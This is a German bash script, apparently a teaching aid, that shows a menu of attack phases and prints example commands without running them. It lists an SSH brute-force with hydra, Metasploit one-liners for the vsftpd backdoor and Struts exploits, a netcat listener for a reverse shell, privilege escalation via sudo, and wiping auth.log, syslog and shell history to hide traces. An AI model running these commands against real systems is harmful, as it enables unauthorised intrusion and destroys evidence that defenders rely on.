#!/bin/bash # ------------------------------ # Hacking-Angriffs Phasen Menü (Mit Befehlen, aber ohne Ausführung) # ------------------------------ clear # Funktion für Phase 1: Informationsbeschaffung informationsbeschaffung() { echo "[Phase 1] Informationsbeschaffung" echo "In dieser Phase sammeln wir so viele Informationen wie möglich über das Ziel." echo "Beispielbefehle:" echo "- WHOIS-Abfrage: Informationen zur Domain und deren Eigentümern." echo " Befehl: whois example.com" echo "" echo "- DNS-Abfragen: Abfragen der DNS-Einträge wie IP-Adressen und Subdomains." echo " Befehl: dig example.com" echo "" echo "- Google Dorking: Suche nach öffentlich zugänglichen Informationen." echo " Beispiel: site:example.com" echo " Befehl: curl 'https://www.google.com/search?q=site:example.com'" echo "" echo "Ziel dieser Phase: Schwachstellen und potenzielle Angriffspunkte finden." read -p "Drücke Enter, um zurück zum Menü zu gehen..." menu } # Funktion für Phase 2: Scanning scanning() { echo "[Phase 2] Scanning" echo "In dieser Phase scannen wir das Ziel nach offenen Ports und laufenden Diensten." echo "Beispielbefehle:" echo "- Port Scanning: Finden von offenen Ports." echo " Befehl: nmap -sS example.com" echo "" echo "- Service-Identifikation: Identifizieren, welche Services auf den offenen Ports laufen." echo " Befehl: nmap -sV example.com" echo "" echo "- Schwachstellenanalyse: Suche nach bekannten Schwachstellen in den identifizierten Services." echo " Befehl: nmap --script vuln example.com" echo "" echo "Ziel dieser Phase: Die Angriffsfläche des Systems analysieren." read -p "Drücke Enter, um zurück zum Menü zu gehen..." menu } # Funktion für Phase 3: Exploitation exploitation() { echo "[Phase 3] Exploitation" echo "In dieser Phase versuchen wir, Sicherheitslücken auszunutzen." echo "Beispielbefehle:" echo "- Brute-Force-Angriffe: Versuch, Passwörter zu erraten." echo " Befehl: hydra -l root -P /path/to/passwordlist.txt ssh://example.com" echo "" echo "- Ausnutzung von Schwachstellen: Angriffe auf ungeschützte Webanwendungen oder Services." echo " Befehl: msfconsole -q -x 'use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST example.com; exploit'" echo "" echo "- Verwenden von Metasploit-Exploits: Gezielte Schwachstellenangriffe mit Metasploit." echo " Befehl: msfconsole -q -x 'use exploit/multi/http/struts_dmi; set RHOST example.com; exploit'" echo "" echo "Ziel dieser Phase: Zugang zum Zielsystem erlangen." read -p "Drücke Enter, um zurück zum Menü zu gehen..." menu } # Funktion für Phase 4: Post-Exploitation post_exploitation() { echo "[Phase 4] Post-Exploitation" echo "Nachdem wir erfolgreich in das System eingedrungen sind, analysieren wir weiter:" echo "Beispielbefehle:" echo "- Ermitteln von Benutzern: Auflisten der Benutzerkonten auf dem Zielsystem." echo " Befehl: cat /etc/passwd" echo "" echo "- Privilegieneskalation: Erhöhen der Benutzerrechte auf Administrator- oder Root-Rechte." echo " Befehl: sudo -l" echo " Befehl: sudo su" echo "" echo "- Umgehung der Firewall: Einrichten einer Backdoor oder Reverse Shell." echo " Befehl: nc -lvp 4444" echo "" echo "Ziel dieser Phase: Die Kontrolle über das System zu sichern und weitere Daten zu extrahieren." read -p "Drücke Enter, um zurück zum Menü zu gehen..." menu } # Funktion für Phase 5: Aufräumen aufraeumen() { echo "[Phase 5] Aufräumen" echo "In der letzten Phase versuchen wir, alle Spuren des Angriffs zu beseitigen." echo "Beispielbefehle:" echo "- Löschen von Logs: Entfernen von Log-Dateien, die Aktivitäten protokollieren könnten." echo " Befehl: > /var/log/auth.log" echo " Befehl: > /var/log/syslog" echo "" echo "- Bereinigen der Shell-Historie: Löschen der Bash-Historie, um Spuren zu verwischen." echo " Befehl: history -c" echo "" echo "- Entfernen von Backdoors: Entfernen von Hintertüren oder Tools, die installiert wurden." echo " Befehl: rm /tmp/backdoor" echo "" echo "Ziel dieser Phase: Die Aktivitäten des Angriffs zu verbergen und Spuren zu entfernen." read -p "Drücke Enter, um zurück zum Menü zu gehen..." menu } # Hauptmenü menu() { clear echo "------------------------------------------------" echo " Hacking-Angriffs Phasen Menü" echo "------------------------------------------------" echo "1) Informationsbeschaffung" echo "2) Scanning" echo "3) Exploitation" echo "4) Post-Exploitation" echo "5) Aufräumen" echo "6) Beenden" echo "------------------------------------------------" read -p "Wähle eine Phase (1-6): " choice case $choice in 1) informationsbeschaffung ;; 2) scanning ;; 3) exploitation ;; 4) post_exploitation ;; 5) aufraeumen ;; 6) echo "Beenden des Programms..." exit 0 ;; *) echo "Ungültige Auswahl. Bitte eine Zahl zwischen 1 und 6 wählen." read -p "Drücke Enter, um fortzufahren..." menu ;; esac } # Programm startet mit dem Menü menu